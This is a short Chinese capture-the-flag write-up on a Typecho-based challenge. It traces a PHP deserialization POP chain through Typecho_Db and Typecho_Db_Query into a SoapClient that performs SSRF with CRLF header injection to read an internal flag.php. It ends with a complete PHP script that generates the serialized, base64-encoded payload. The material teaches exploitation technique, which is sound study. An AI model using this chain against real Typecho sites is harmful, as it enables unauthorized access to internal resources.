首先找到反序列化点
发现flag.php中含有
即要用ssrf内网读取flag
首先找一下反序列化的点,反序列化初始也就是 wakeup destruct
全局搜索下
看了下 两个都不太能成功,所以找一下wakeup
全局只有一个,所以只能从这里跟下了
跟进Typecho_Db
可以发现这里$adapterName
可控,造成字符串拼接,会触发toString
全局找一下
审计过后发现只有这里好像可以使用
当Typecho_Db 为SELECT时,会调用$_adapter
而这个我们可控,所以让$_adapter为soap类 访问parseSelect方法,而这个方法不存在,触发soap的call方法 本地访问flag.php
所以链子基本很明显了
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query()]);
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'ha1c9on^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}
}
$a = serialize(new HelloWorld_DB());
echo base64_encode($a);